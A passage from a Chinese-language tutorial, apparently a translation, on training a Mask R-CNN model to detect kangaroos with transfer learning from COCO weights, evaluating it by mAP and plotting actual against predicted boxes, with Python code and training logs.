Object Detection Masks, Bounding Boxes, and Class Labels](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2019/03/Photograph-Showing-Object-Detection-Masks-Bounding-Boxes-and-Class-Labels-1024x576.png)\n\n展示目标检测掩膜、边框和类标签的图像\n\n现在，我们非常确认数据集能够被正确加载，我们可以使用它来拟合 Mask R-CNN 模型了。\n\n## 如何训练检测袋鼠的 Mask R-CNN 模型\n\nMask R-CNN 模型可以从零开始拟合，但是和其他计算机视觉应用一样，通过使用迁移学习的方法可以节省时间并提升性能。\n\nMask R-CNN model 在 MS COCO 目标检测的预先拟合可以用作初始模型，然后对于特定的数据集再做适配，在本例中也就是袋鼠数据集。\n\n第一步需要先为预先拟合的 Mask R-CNN 模型下载模型文件（包括结构和权重信息）。权重信息可以在 Github 项目中下载，文件大约 250 MB。\n\n将模型权重加载到工作目录内的文件‘_mask\\_rcnn\\_coco.h5_’中。\n\n*   [下载权重信息文件 (mask\\_rcnn\\_coco.h5) 246M](https://github.com/matterport/Mask_RCNN/releases/download/v2.0/mask_rcnn_coco.h5)\n\n接下来，必须要为模型定义一个配置对象。\n\n这个新的类继承了 _mrcnn.config.Config_ 类，定义了需要预测的内容（例如类的名字和数量）和训练模型的算法（例如学习速率）。\n\n配置对象必须通过‘_NAME_’属性定义配置名，例如‘_kangaroo_cfg_’，在项目运行时，它将用于保存详细信息和模型到文件中。配置对象也必须通过‘_NUM_CLASSES_’属性定义预测问题中类的数量。在这个例子中，尽管背景中有很多其他的类，但我们只有一个识别目标，那就是袋鼠。\n\n最后我们还要定义每轮训练中使用的样本（图像）数量。这也就是训练集中图像的数量，即 131。\n\n将这些内容组合在一起，我们自定义的 _KangarooConfig_ 类的定义如下。\n\n```python\n# 定义模型配置\nclass KangarooConfig(Config):\n\t# 给配置对象命名\n\tNAME = \"kangaroo_cfg\"\n\t# 类的数量（背景中的 + 袋鼠）\n\tNUM_CLASSES = 1 + 1\n\t# 每轮训练的迭代数量\n\tSTEPS_PER_EPOCH = 131\n\n# 准备好配置信息\nconfig = KangarooConfig()\n```\n\n下面，我们可以定义模型了。\n\n通过创建类 _mrcnn.model.MaskRCNN_ 的实例我们可以创建模型，通过将‘_mode_’属性设置为‘_training_’，特定的模型将可以用于训练。\n\n必须将‘config_’参数赋值为我们的 _KangarooConfig_ 类。\n\n最后，需要一个目录来存储配置文件以及每轮训练结束后的模型检查点。我们就使用当前的工作目录吧。\n\n```python\n# 定义模型\nmodel  =  MaskRCNN(mode='training',  model_dir='./',  config=config)\n```\n\n接下来，需要加载预定义模型的结构和权重。通过在模型上调用 _load_weights()_ 函数即可，同时要记得指定保存了下载数据的‘_mask\\_rcnn\\_coco.h5_’文件的地址。\n\n模型将按照原样使用，但是指定了类的输出层将会被移除，这样新的输出层才可以被定义和训练。这要通过指定‘_exclude_’参数，并在模型加载后列出所有需要从模型移除的输出层来完成。这包括分类标签、边框和掩膜的输出层。\n\n```python\n# 加载 mscoco 权重信息\nmodel.load_weights('mask_rcnn_coco.h5', by_name=True, exclude=[\"mrcnn_class_logits\", \"mrcnn_bbox_fc\",  \"mrcnn_bbox\", \"mrcnn_mask\"])\n```\n\n下面，通过调用 _train()_ 函数并将训练集和验证集作为参数传递进去，模型将开始在训练集上进行拟合。我们也可以指定学习速率，配置默认的学习速率是 0.001。\n\n我们还可以指定训练哪个层。在本文的例子中，我们只训练头部，也就是模型的输出层。\n\n```python\n# 训练权重（输出层，或者说‘头部’）\nmodel.train(train_set, test_set, learning_rate=config.LEARNING_RATE, epochs=5, layers='heads')\n```\n\n我们可以在后续的训练中重复这样的训练步骤，微调模型中的权重。通过使用更小的学习速率并将‘layer’参数从‘heads’修改为‘all’即可实现。\n\n完整的在袋鼠数据集训练 Mask R-CNN 模型的代码如下。\n\n就算将代码在性能不错的硬件上运行，也可能需要花费一些时间。所以我建议在 GPU 上运行它，例如 [Amazon EC2](https://machinelearningmastery.com/develop-evaluate-large-deep-learning-models-keras-amazon-web-services/)，在 P3 类型的硬件上，代码在五分钟内即可运行完成。\n\n```python\n# 在袋鼠数据集上拟合 mask rcnn 模型\nfrom os import listdir\nfrom xml.etree import ElementTree\nfrom numpy import zeros\nfrom numpy import asarray\nfrom mrcnn.utils import Dataset\nfrom mrcnn.config import Config\nfrom mrcnn.model import MaskRCNN\n\n# 定义并加载袋鼠数据集的类\nclass KangarooDataset(Dataset):\n\t# 加载数据集定义\n\tdef load_dataset(self, dataset_dir, is_train=True):\n\t\t# 定义一个类\n\t\tself.add_class(\"dataset\", 1, \"kangaroo\")\n\t\t# 定义数据所在位置\n\t\timages_dir = dataset_dir + '/images/'\n\t\tannotations_dir = dataset_dir + '/annots/'\n\t\t# 定位到所有图像\n\t\tfor filename in listdir(images_dir):\n\t\t\t# 提取图像 id\n\t\t\timage_id = filename[:-4]\n\t\t\t# 略过不合格的图像\n\t\t\tif image_id in ['00090']:\n\t\t\t\tcontinue\n\t\t\t# 如果我们正在建立的是训练集，略过 150 序号之后的所有图像\n\t\t\tif is_train and int(image_id) >= 150:\n\t\t\t\tcontinue\n\t\t\t# 如果我们正在建立的是测试/验证集，略过 150 序号之前的所有图像\n\t\t\tif not is_train and int(image_id) < 150:\n\t\t\t\tcontinue\n\t\t\timg_path = images_dir + filename\n\t\t\tann_path = annotations_dir + image_id + '.xml'\n\t\t\t# 添加到数据集\n\t\t\tself.add_image('dataset', image_id=image_id, path=img_path, annotation=ann_path)\n\n\t# 从注解文件中提取边框值\n\tdef extract_boxes(self, filename):\n\t\t# 加载并解析文件\n\t\ttree = ElementTree.parse(filename)\n\t\t# 获取文档根元素\n\t\troot = tree.getroot()\n\t\t# 提取出每个 bounding box 元素\n\t\tboxes = list()\n\t\tfor box in root.findall('.//bndbox'):\n\t\t\txmin = int(box.find('xmin').text)\n\t\t\tymin = int(box.find('ymin').text)\n\t\t\txmax = int(box.find('xmax').text)\n\t\t\tymax = int(box.find('ymax').text)\n\t\t\tcoors = [xmin, ymin, xmax, ymax]\n\t\t\tboxes.append(coors)\n\t\t# 提取出图像尺寸\n\t\twidth = int(root.find('.//size/width').text)\n\t\theight = int(root.find('.//size/height').text)\n\t\treturn boxes, width, height\n\n\t# 加载图像掩膜\n\tdef load_mask(self, image_id):\n\t\t# 获取图像详细信息\n\t\tinfo = self.image_info[image_id]\n\t\t# 定义盒文件位置\n\t\tpath = info['annotation']\n\t\t# 加载 XML\n\t\tboxes, w, h = self.extract_boxes(path)\n\t\t# 为所有掩膜创建一个数组，每个数组都位于不同的通道\n\t\tmasks = zeros([h, w, len(boxes)], dtype='uint8')\n\t\t# 创建掩膜\n\t\tclass_ids = list()\n\t\tfor i in range(len(boxes)):\n\t\t\tbox = boxes[i]\n\t\t\trow_s, row_e = box[1], box[3]\n\t\t\tcol_s, col_e = box[0], box[2]\n\t\t\tmasks[row_s:row_e, col_s:col_e, i] = 1\n\t\t\tclass_ids.append(self.class_names.index('kangaroo'))\n\t\treturn masks, asarray(class_ids, dtype='int32')\n\n\t# 加载图像引用\n\tdef image_reference(self, image_id):\n\t\tinfo = self.image_info[image_id]\n\t\treturn info['path']\n\n# 定义模型配置\nclass KangarooConfig(Config):\n\t# 定义配置名\n\tNAME = \"kangaroo_cfg\"\n\t# 类的数量（背景中的 + 袋鼠）\n\tNUM_CLASSES = 1 + 1\n\t# 每轮训练的迭代数量\n\tSTEPS_PER_EPOCH = 131\n\n# 准备训练集\ntrain_set = KangarooDataset()\ntrain_set.load_dataset('kangaroo', is_train=True)\ntrain_set.prepare()\nprint('Train: %d' % len(train_set.image_ids))\n# 准备测试/验证集\ntest_set = KangarooDataset()\ntest_set.load_dataset('kangaroo', is_train=False)\ntest_set.prepare()\nprint('Test: %d' % len(test_set.image_ids))\n# 准备配置信息\nconfig = KangarooConfig()\nconfig.display()\n# 定义模型\nmodel = MaskRCNN(mode='training', model_dir='./', config=config)\n# 加载 mscoco 权重信息，排除输出层\nmodel.load_weights('mask_rcnn_coco.h5', by_name=True, exclude=[\"mrcnn_class_logits\", \"mrcnn_bbox_fc\",  \"mrcnn_bbox\", \"mrcnn_mask\"])\n# 训练权重（输出层，或者说‘头部’）\nmodel.train(train_set, test_set, learning_rate=config.LEARNING_RATE, epochs=5, layers='heads')\n```\n\n运行示例代码将会使用标准 Keras 进度条报告运行进度。\n\n我们可以发现，每个网络的输出头部，都报告了不同的训练和测试的损失分数。注意到这些损失分数，会让人觉得很困惑。\n\n在本文的例子中，我们感兴趣的是目标识别而不是目标分割，所以我建议应该注意训练集和验证集分类输出的损失（例如 _mrcnn\\_class\\_loss_ 和 _val\\_mrcnn\\_class_loss_），还有训练和验证集的边框输出（_mrcnn\\_bbox\\_loss_ 和 _val\\_mrcnn\\_bbox_loss_）。\n\n```\nEpoch 1/5\n131/131 [==============================] - 106s 811ms/step - loss: 0.8491 - rpn_class_loss: 0.0044 - rpn_bbox_loss: 0.1452 - mrcnn_class_loss: 0.0420 - mrcnn_bbox_loss: 0.2874 - mrcnn_mask_loss: 0.3701 - val_loss: 1.3402 - val_rpn_class_loss: 0.0160 - val_rpn_bbox_loss: 0.7913 - val_mrcnn_class_loss: 0.0092 - val_mrcnn_bbox_loss: 0.2263 - val_mrcnn_mask_loss: 0.2975\nEpoch 2/5\n131/131 [==============================] - 69s 526ms/step - loss: 0.4774 - rpn_class_loss: 0.0025 - rpn_bbox_loss: 0.1159 - mrcnn_class_loss: 0.0170 - mrcnn_bbox_loss: 0.1134 - mrcnn_mask_loss: 0.2285 - val_loss: 0.6261 - val_rpn_class_loss: 8.9502e-04 - val_rpn_bbox_loss: 0.1624 - val_mrcnn_class_loss: 0.0197 - val_mrcnn_bbox_loss: 0.2148 - val_mrcnn_mask_loss: 0.2282\nEpoch 3/5\n131/131 [==============================] - 67s 515ms/step - loss: 0.4471 - rpn_class_loss: 0.0029 - rpn_bbox_loss: 0.1153 - mrcnn_class_loss: 0.0234 - mrcnn_bbox_loss: 0.0958 - mrcnn_mask_loss: 0.2097 - val_loss: 1.2998 - val_rpn_class_loss: 0.0144 - val_rpn_bbox_loss: 0.6712 - val_mrcnn_class_loss: 0.0372 - val_mrcnn_bbox_loss: 0.2645 - val_mrcnn_mask_loss: 0.3125\nEpoch 4/5\n131/131 [==============================] - 66s 502ms/step - loss: 0.3934 - rpn_class_loss: 0.0026 - rpn_bbox_loss: 0.1003 - mrcnn_class_loss: 0.0171 - mrcnn_bbox_loss: 0.0806 - mrcnn_mask_loss: 0.1928 - val_loss: 0.6709 - val_rpn_class_loss: 0.0016 - val_rpn_bbox_loss: 0.2012 - val_mrcnn_class_loss: 0.0244 - val_mrcnn_bbox_loss: 0.1942 - val_mrcnn_mask_loss: 0.2495\nEpoch 5/5\n131/131 [==============================] - 65s 493ms/step - loss: 0.3357 - rpn_class_loss: 0.0024 - rpn_bbox_loss: 0.0804 - mrcnn_class_loss: 0.0193 - mrcnn_bbox_loss: 0.0616 - mrcnn_mask_loss: 0.1721 - val_loss: 0.8878 - val_rpn_class_loss: 0.0030 - val_rpn_bbox_loss: 0.4409 - val_mrcnn_class_loss: 0.0174 - val_mrcnn_bbox_loss: 0.1752 - val_mrcnn_mask_loss: 0.2513\n```\n\n每轮训练结束后会创建并保存一个模型文件于子目录中，文件名以‘_kangaroo_cfg_’开始，后面是随机的字符。\n\n使用的时候，我们必须要选择一个模型；在本文的例子中，每轮训练都会让边框选择的损失递减，所以我们将使用最终的模型，它是在运行‘_mask\\_rcnn\\_kangaroo\\_cfg\\_0005.h5_’后生成的。\n\n将模型文件从配置目录拷贝到当前的工作目录。我们将会在接下来的章节中使用它进行模型的评估，并对未知图片作出预测。\n\n结果显示，也许更多的训练次数能够让模型性能更好，或许可以微调模型中所有层的参数；这个思路也许可以是本文一个有趣的扩展。\n\n下面让我们一起来看看这个模型的性能评估。\n\n## 如何评估 Mask R-CNN 模型\n\n目标识别目标的模型的性能通常使用平均绝对精度来衡量，即 mAP。\n\n我们要预测的是边框位置，所以我们可以用预测边框与实际边框的重叠程度来决定预测是否准确。通过将边框重叠的区域除以两个边框的总面积可以用来计算准确度，或者说是交叉面积除以总面积，又称为“_intersection over union_,” 或者 IoU。最完美的边框预测的 IoU 值应该为 1。\n\n通常情况下，如果 IoU 的值大于 0.5，我们就可以认为边框预测的结果良好，也就是，重叠部分占总面积的 50% 以上。\n\n准确率指的是正确预测的边框（即 IoU > 0.5 的边框）占总边框的百分比。召回率指的是正确预测的边框（即 IoU > 0.5 的边框）占所有图片中对象的百分比。\n\n随着我们作出更多次的预测，召回率将会升高，但是准确率可能会由于我们开始过拟合而下降或者波动。可以根据准确率（_y_）绘制召回率（_x_），每个精确度的值都可以绘制出一条曲线或直线。我们可以最大化曲线上的每个点的值，并计算准确率的平均值，或者每个召回率的 AP。\n\n**注意**：AP 如何计算有很多种方法，例如，广泛使用的 PASCAL VOC 数据集和 MS COCO 数据集计算的方法就是不同的。\n\n数据集中所有图片的平均准确度的平均值（AP）被称为平均绝对精度，即 mAP。\n\nmask-rcnn 库提供了函数 _mrcnn.utils.compute_ap_，用于计算 AP 以及给定图片的其他指标。数据集中所有的 AP 值可以被集合在一起，并且计算均值可以让我们了解模型在数据集中检测目标的准确度如何。\n\n首先我们必须定义一个 _Config_ 对象，它将用于作出预测，而不是用于训练。我们可以扩展之前定义的 _KangarooConfig_ 来复用一些参数。我们将定义一个新的属性值都相等的对象来让代码保持简洁。配置必须修改一些使用 GPU 进行预测时的默认值，这和在训练模型的时候的配置是不同的（那时候不用管你是在 GPU 或者 CPU 上运行代码的）。\n\n```python\n# 定义预测配置\nclass PredictionConfig(Config):\n\t# 定义配置名\n\tNAME = \"kangaroo_cfg\"\n\t# 类的数量（背景中的 + 袋鼠）\n\tNUM_CLASSES = 1 + 1\n\t# 简化 GPU 配置\n\tGPU_COUNT = 1\n\tIMAGES_PER_GPU = 1\n```\n\n接下来我们就可以使用配置定义模型了，并且要将参数‘_mode_’从‘_training_’改为‘_inference_’。\n\n```python\n# 创建配置\ncfg = PredictionConfig()\n# 定义模型\nmodel = MaskRCNN(mode='inference', model_dir='./', config=cfg)\n```\n\n下面，我们可以从保存的模型中加载权重。\n\n通过指定模型文件的路径即可完成这一步。在本文的例子中，模型文件就是当前工作目录下的‘_mask\\_rcnn\\_kangaroo\\_cfg\\_0005.h5_’。\n\n```python\n# 加载模型权重\nmodel.load_weights('mask_rcnn_kangaroo_cfg_0005.h5',  by_name=True)\n```\n\n接下来，我们可以评估模型了。这包括列举出数据集中的图片，作出预测，然后在预测所有图片的平均 AP 之前计算用于预测的 AP 值。\n\n第一步，根据指定的 _image_id_ 从数据集中加载出图像和真实掩膜。通过使用 _load\\_image\\_gt()_ 这个便捷的函数即可完成这一步。\n\n```python\n# 加载指定 image id 的图像、边框和掩膜\nimage, image_meta, gt_class_id, gt_bbox, gt_mask = load_image_gt(dataset, cfg, image_id, use_mini_mask=False)\n```\n\n接下来，必须按照与训练数据相同的方式缩放已加载图像的像素值，例如居中。通过使用 _mold_image()_ 便捷函即可完成这一步。\n\n```python\n# 转换像素值（例如居中）\nscaled_image  =  mold_image(image,  cfg)\n```\n\n然后，图像的维度需要在数据集中扩展为一个样本，它将作为模型预测的输入。\n\n```python\nsample = expand_dims(scaled_image, 0)\n# 作出预测\nyhat = model.detect(sample, verbose=0)\n# 为第一个样本提取结果\nr = yhat[0]\n```\n\n接下来，预测值可以和真实值作出比对，并使用 _compute_ap()_ 函数计算指标。\n\n```python\n# 统计计算，包括计算 AP\nAP, _, _, _ = compute_ap(gt_bbox, gt_class_id, gt_mask, r[\"rois\"], r[\"class_ids\"], r[\"scores\"], r['masks'])\n```\n\nAP 值将会被加入到一个列表中去，然后计算平均值。\n\n将上面这些组合在一起，下面的 _evaluate_model()_ 函数就是整个过程的实现，并在给定数据集、模型和配置的前提下计算出了 mAP。\n\n```python\n# 计算给定数据集中模型的 mAP\ndef evaluate_model(dataset, model, cfg):\n\tAPs = list()\n\tfor image_id in dataset.image_ids:\n\t\t# 加载指定 image id 的图像、边框和掩膜\n\t\timage, image_meta, gt_class_id, gt_bbox, gt_mask = load_image_gt(dataset, cfg, image_id, use_mini_mask=False)\n\t\t# 转换像素值（例如居中）\n\t\tscaled_image = mold_image(image, cfg)\n\t\t# 将图像转换为样本\n\t\tsample = expand_dims(scaled_image, 0)\n\t\t# 作出预测\n\t\tyhat = model.detect(sample, verbose=0)\n\t\t# 为第一个样本提取结果\n\t\tr = yhat[0]\n\t\t# 统计计算，包括计算 AP\n\t\tAP, _, _, _ = compute_ap(gt_bbox, gt_class_id, gt_mask, r[\"rois\"], r[\"class_ids\"], r[\"scores\"], r['masks'])\n\t\t# 保存\n\t\tAPs.append(AP)\n\t# 计算所有图片的平均 AP\n\tmAP = mean(APs)\n\treturn mAP\n```\n\n现在我们可以计算训练集和数据集上模型的 mAP。\n\n```python\n# 评估训练集上的模型\ntrain_mAP = evaluate_model(train_set, model, cfg)\nprint(\"Train mAP: %.3f\" % train_mAP)\n# 评估测试集上的模型\ntest_mAP = evaluate_model(test_set, model, cfg)\nprint(\"Test mAP: %.3f\" % test_mAP)\n```\n\n完整的代码如下。\n\n```python\n# 评估袋鼠数据集上的 mask rcnn 模型\nfrom os import listdir\nfrom xml.etree import ElementTree\nfrom numpy import zeros\nfrom numpy import asarray\nfrom numpy import expand_dims\nfrom numpy import mean\nfrom mrcnn.config import Config\nfrom mrcnn.model import MaskRCNN\nfrom mrcnn.utils import Dataset\nfrom mrcnn.utils import compute_ap\nfrom mrcnn.model import load_image_gt\nfrom mrcnn.model import mold_image\n\n# 定义并加载袋鼠数据集的类\nclass KangarooDataset(Dataset):\n\t# 加载数据集定义\n\tdef load_dataset(self, dataset_dir, is_train=True):\n\t\t# 定义一个类\n\t\tself.add_class(\"dataset\", 1, \"kangaroo\")\n\t\t# 定义数据所在位置\n\t\timages_dir = dataset_dir + '/images/'\n\t\tannotations_dir = dataset_dir + '/annots/'\n\t\t# 定位到所有图像\n\t\tfor filename in listdir(images_dir):\n\t\t\t# 提取图像 id\n\t\t\timage_id = filename[:-4]\n\t\t\t# 略过不合格的图像\n\t\t\tif image_id in ['00090']:\n\t\t\t\tcontinue\n\t\t\t# 如果我们正在建立的是训练集，略过 150 序号之后的所有图像\n\t\t\tif is_train and int(image_id) >= 150:\n\t\t\t\tcontinue\n\t\t\t# 如果我们正在建立的是测试/验证集，略过 150 序号之前的所有图像\n\t\t\tif not is_train and int(image_id) < 150:\n\t\t\t\tcontinue\n\t\t\timg_path = images_dir + filename\n\t\t\tann_path = annotations_dir + image_id + '.xml'\n\t\t\t# 添加到数据集\n\t\t\tself.add_image('dataset', image_id=image_id, path=img_path, annotation=ann_path)\n\n\t# 从注解文件中提取边框值\n\tdef extract_boxes(self, filename):\n\t\t# 加载并解析文件\n\t\ttree = ElementTree.parse(filename)\n\t\t# 获取文档根元素\n\t\troot = tree.getroot()\n\t\t# 提取出每个 bounding box 元素\n\t\tboxes = list()\n\t\tfor box in root.findall('.//bndbox'):\n\t\t\txmin = int(box.find('xmin').text)\n\t\t\tymin = int(box.find('ymin').text)\n\t\t\txmax = int(box.find('xmax').text)\n\t\t\tymax = int(box.find('ymax').text)\n\t\t\tcoors = [xmin, ymin, xmax, ymax]\n\t\t\tboxes.append(coors)\n\t\t# 提取出图像尺寸\n\t\twidth = int(root.find('.//size/width').text)\n\t\theight = int(root.find('.//size/height').text)\n\t\treturn boxes, width, height\n\n\t# 加载图像掩膜\n\tdef load_mask(self, image_id):\n\t\t# 获取图像详细信息\n\t\tinfo = self.image_info[image_id]\n\t\t# 定义盒文件位置\n\t\tpath = info['annotation']\n\t\t# 加载 XML\n\t\tboxes, w, h = self.extract_boxes(path)\n\t\t# 为所有掩膜创建一个数组，每个数组都位于不同的通道\n\t\tmasks = zeros([h, w, len(boxes)], dtype='uint8')\n\t\t# 创建掩膜\n\t\tclass_ids = list()\n\t\tfor i in range(len(boxes)):\n\t\t\tbox = boxes[i]\n\t\t\trow_s, row_e = box[1], box[3]\n\t\t\tcol_s, col_e = box[0], box[2]\n\t\t\tmasks[row_s:row_e, col_s:col_e, i] = 1\n\t\t\tclass_ids.append(self.class_names.index('kangaroo'))\n\t\treturn masks, asarray(class_ids, dtype='int32')\n\n\t# 加载图像引用\n\tdef image_reference(self, image_id):\n\t\tinfo = self.image_info[image_id]\n\t\treturn info['path']\n\n# 定义预测配置\nclass PredictionConfig(Config):\n\t# 定义配置名\n\tNAME = \"kangaroo_cfg\"\n\t# 类的数量（背景中的 + 袋鼠）\n\tNUM_CLASSES = 1 + 1\n\t# 简化 GPU 配置\n\tGPU_COUNT = 1\n\tIMAGES_PER_GPU = 1\n\n# 计算给定数据集中模型的 mAP\ndef evaluate_model(dataset, model, cfg):\n\tAPs = list()\n\tfor image_id in dataset.image_ids:\n\t\t# 加载指定 image id 的图像、边框和掩膜\n\t\timage, image_meta, gt_class_id, gt_bbox, gt_mask = load_image_gt(dataset, cfg, image_id, use_mini_mask=False)\n\t\t# 转换像素值（例如居中）\n\t\tscaled_image = mold_image(image, cfg)\n\t\t# 将图像转换为样本\n\t\tsample = expand_dims(scaled_image, 0)\n\t\t# 作出预测\n\t\tyhat = model.detect(sample, verbose=0)\n\t\t# 为第一个样本提取结果\n\t\tr = yhat[0]\n\t\t# 统计计算，包括计算 AP\n\t\tAP, _, _, _ = compute_ap(gt_bbox, gt_class_id, gt_mask, r[\"rois\"], r[\"class_ids\"], r[\"scores\"], r['masks'])\n\t\t# 保存\n\t\tAPs.append(AP)\n\t# 计算所有图片的平均 AP\n\tmAP = mean(APs)\n\treturn mAP\n\n# 加载训练集\ntrain_set = KangarooDataset()\ntrain_set.load_dataset('kangaroo', is_train=True)\ntrain_set.prepare()\nprint('Train: %d' % len(train_set.image_ids))\n# 加载测试集\ntest_set = KangarooDataset()\ntest_set.load_dataset('kangaroo', is_train=False)\ntest_set.prepare()\nprint('Test: %d' % len(test_set.image_ids))\n# 创建配置\ncfg = PredictionConfig()\n# 定义模型\nmodel = MaskRCNN(mode='inference', model_dir='./', config=cfg)\n# 加载模型权重\nmodel.load_weights('mask_rcnn_kangaroo_cfg_0005.h5', by_name=True)\n# 评估训练集上的模型\ntrain_mAP = evaluate_model(train_set, model, cfg)\nprint(\"Train mAP: %.3f\" % train_mAP)\n# 评估测试集上的模型\ntest_mAP = evaluate_model(test_set, model, cfg)\nprint(\"Test mAP: %.3f\" % test_mAP)\n```\n\n运行示例代码将会为训练集和测试集中的每张图片作出预测，并计算每次预测的 mAP。\n\n90% 或者 95% 以上的 mAP 就是一个不错的分数了。我们可以看到，在两个数据集上 mAP 分数都不错，并且在测试集而不是训练集上可能还要更好一些。\n\n这可能是因为测试集比较小，或者是因为模型在进一步训练中变得更加准确了。\n\n```\nTrain mAP: 0.929\nTest mAP: 0.958\n```\n\n现在我们确信模型是合理的，我们可以使用它作出预测了。\n\n## 如何在新照片中检测袋鼠\n\n我们可以在新的图像，特别是那些期望有袋鼠的图像中使用训练过的模型来检测袋鼠。\n\n首先，我们需要一张新的袋鼠图像\n\n我们可以到 Flickr 上随机的选取一张有袋鼠的图像。或者也可以使用测试集中没有用来训练模型的图像。\n\n在前几个章节中，我们已经知道如何对图像作出预测。具体来说，需要缩放图像的像素值，然后调用 _model.detect()_ 函数。例如：\n\n```python\n# 做预测的例子\n...\n# 加载图像\nimage = ...\n# 转换像素值（例如居中）\nscaled_image = mold_image(image, cfg)\n# 将图像转换为样本\nsample = expand_dims(scaled_image, 0)\n# 作出预测\nyhat = model.detect(sample, verbose=0)\n...\n```\n\n我们来更进一步，对数据集中多张图像作出预测，然后将带有实际边框和预测边框的图像依次绘制出来。这样我们就能直接看出模型预测的准确性如何。\n\n第一步，从数据集中加载图像和掩膜。\n\n```python\n# 加载图像和掩膜\nimage = dataset.load_image(image_id)\nmask, _ = dataset.load_mask(image_id)\n```\n\n下一步，我们就可以对图像作出预测了。\n\n```python\n# 转换像素值（例如居中）\nscaled_image = mold_image(image, cfg)\n# 将图像转换为样本\nsample = expand_dims(scaled_image, 0)\n# 作出预测\nyhat = model.detect(sample, verbose=0)[0]\n```\n\n接下来，我们可以为包含真实边框位置的图像创建一个子图，并将其绘制出来。\n\n```python\n# 定义子图\npyplot.subplot(n_images, 2, i*2+1)\n# 绘制原始像素数据\npyplot.imshow(image)\npyplot.title('Actual')\n# 绘制掩膜\nfor j in range(mask.shape[2]):\n\tpyplot.imshow(mask[:, :, j], cmap='gray', alpha=0.3)\n```\n\n接下来我们可以在第一个子图旁边创建第二个子图，并绘制第一幅图，这一次要将带有预测边框位置的图像绘制出来。\n\n```python\n# 获取绘图框的上下文\npyplot.subplot(n_images, 2, i*2+2)\n# 绘制原始像素数据\npyplot.imshow(image)\npyplot.title('Predicted')\nax = pyplot.gca()\n# 绘制每个图框\nfor box in yhat['rois']:\n\t# 获取坐标\n\ty1, x1, y2, x2 = box\n\t# 计算绘图框的宽度和高度\n\twidth, height = x2 - x1, y2 - y1\n\t# 创建形状对象\n\trect = Rectangle((x1, y1), width, height, fill=False, color='red')\n\t# 绘制绘图框\n\tax.add_patch(rect)\n```\n\n我们可以将制作数据集，模型，配置信息，以及绘制数据集中前五张带有真实和预测边框的图像，这些内容全都整合放在一个函数里面。\n\n```python\n# 绘制多张带有真实和预测边框的图像\ndef plot_actual_vs_predicted(dataset, model, cfg, n_images=5):\n\t# 加载图像和掩膜\n\tfor i in range(n_images):\n\t\t# 加载图像和掩膜\n\t\timage = dataset.load_image(i)\n\t\tmask, _ = dataset.load_mask(i)\n\t\t# 转换像素值（例如居中）\n\t\tscaled_image = mold_image(image, cfg)\n\t\t# 将图像转换为样本\n\t\tsample = expand_dims(scaled_image, 0)\n\t\t# 作出预测\n\t\tyhat = model.detect(sample, verbose=0)[0]\n\t\t# 定义子图\n\t\tpyplot.subplot(n_images, 2, i*2+1)\n\t\t# 绘制原始像素数据\n\t\tpyplot.imshow(image)\n\t\tpyplot.title('Actual')\n\t\t# 绘制掩膜\n\t\tfor j in range(mask.shape[2]):\n\t\t\tpyplot.imshow(mask[:, :, j], cmap='gray', alpha=0.3)\n\t\t# 获取绘图框的上下文\n\t\tpyplot.subplot(n_images, 2, i*2+2)\n\t\t# 绘制原始像素数据\n\t\tpyplot.imshow(image)\n\t\tpyplot.title('Predicted')\n\t\tax = pyplot.gca()\n\t\t# 绘制每个绘图框\n\t\tfor box in yhat['rois']:\n\t\t\t# 获取坐标\n\t\t\ty1, x1, y2, x2 = box\n\t\t\t# 计算绘图框的宽度和高度\n\t\t\twidth, height = x2 - x1, y2 - y1\n\t\t\t# 创建形状对象\n\t\t\trect = Rectangle((x1, y1), width, height, fill=False, color='red')\n\t\t\t# 绘制绘图框\n\t\t\tax.add_patch(rect)\n\t# 显示绘制结果\n\tpyplot.show()\n```\n\n完整的加载训练好的模型，并对训练集和测试集中前几张图像作出预测的代码如下。\n\n```python\n# 使用 mask rcnn 模型在图像中检测袋鼠\nfrom os import listdir\nfrom xml.etree import ElementTree\nfrom numpy import zeros\nfrom numpy import asarray\nfrom numpy import expand_dims\nfrom matplotlib import pyplot\nfrom matplotlib.patches import Rectangle\nfrom mrcnn.config import Config\nfrom mrcnn.model import MaskRCNN\nfrom mrcnn.model import mold_image\nfrom mrcnn.utils import Dataset\n\n# 定义并加载袋鼠数据集的类\nclass KangarooDataset(Dataset):\n\t# 加载数据集定义\n\tdef load_dataset(self, dataset_dir, is_train=True):\n\t\t# 定义一个类\n\t\tself.add_class(\"dataset\", 1, \"kangaroo\")\n\t\t# 定义数据所在位置\n\t\timages_dir = dataset_dir + '/images/'\n\t\tannotations_dir = dataset_dir + '/annots/'\n\t\t# 定位到所有图像\n\t\tfor filename in listdir(images_dir):\n\t\t\t# 提取图像 id\n\t\t\timage_id = filename[:-4]\n\t\t\t# 略过不合格的图像\n\t\t\tif image_id in ['00090']:\n\t\t\t\tcontinue\n\t\t\t# 如果我们正在建立的是训练集，略过 150 序号之后的所有图像\n\t\t\tif is_train and int(image_id) >= 150:\n\t\t\t\tcontinue\n\t\t\t# 如果我们正在建立的是测试/验证集，略过 150 序号之前的所有图像\n\t\t\tif not is_train and int(image_id) < 150:\n\t\t\t\tcontinue\n\t\t\timg_path = images_dir + filename\n\t\t\tann_path = annotations_dir + image_id + '.xml'\n\t\t\t# 添加到数据集\n\t\t\tself.add_image('dataset', image_id=image_id, path=img_path, annotation=ann_path)\n\n\t# 从图片中加载所有边框信息\n\tdef extract_boxes(self, filename):\n\t\t# 加载并解析文件\n\t\troot = ElementTree.parse(filename)\n\t\tboxes = list()\n\t\t# 提取边框信息\n\t\tfor box in root.findall('.//bndbox'):\n\t\t\txmin = int(box.find('xmin').text)\n\t\t\tymin = int(box.find('ymin').text)\n\t\t\txmax = int(box.find('xmax').text)\n\t\t\tymax = int(box.find('ymax').text)\n\t\t\tcoors = [xmin, ymin, xmax, ymax]\n\t\t\tboxes.append(coors)\n\t\t# 提取出图像尺寸\n\t\twidth = int(root.find('.//size/width').text)\n\t\theight = int(root.find('.//size/height').text)\n\t\treturn boxes, width, height\n\n\t# 加载图像掩膜\n\tdef load_mask(self, image_id):\n\t\t# 获取图像详细信息\n\t\tinfo = self.image_info[image_id]\n\t\t# 定义盒文件位置\n\t\tpath = info['annotation']\n\t\t# 加载 XML\n\t\tboxes, w, h = self.extract_boxes(path)\n\t\t# 为所有掩膜创建一个数组，每个数组都位于不同的通道\n\t\tmasks = zeros([h, w, len(boxes)], dtype='uint8')\n\t\t# 创建掩膜\n\t\tclass_ids = list()\n\t\tfor i in range(len(boxes)):\n\t\t\tbox = boxes[i]\n\t\t\trow_s, row_e = box[1], box[3]\n\t\t\tcol_s, col_e = 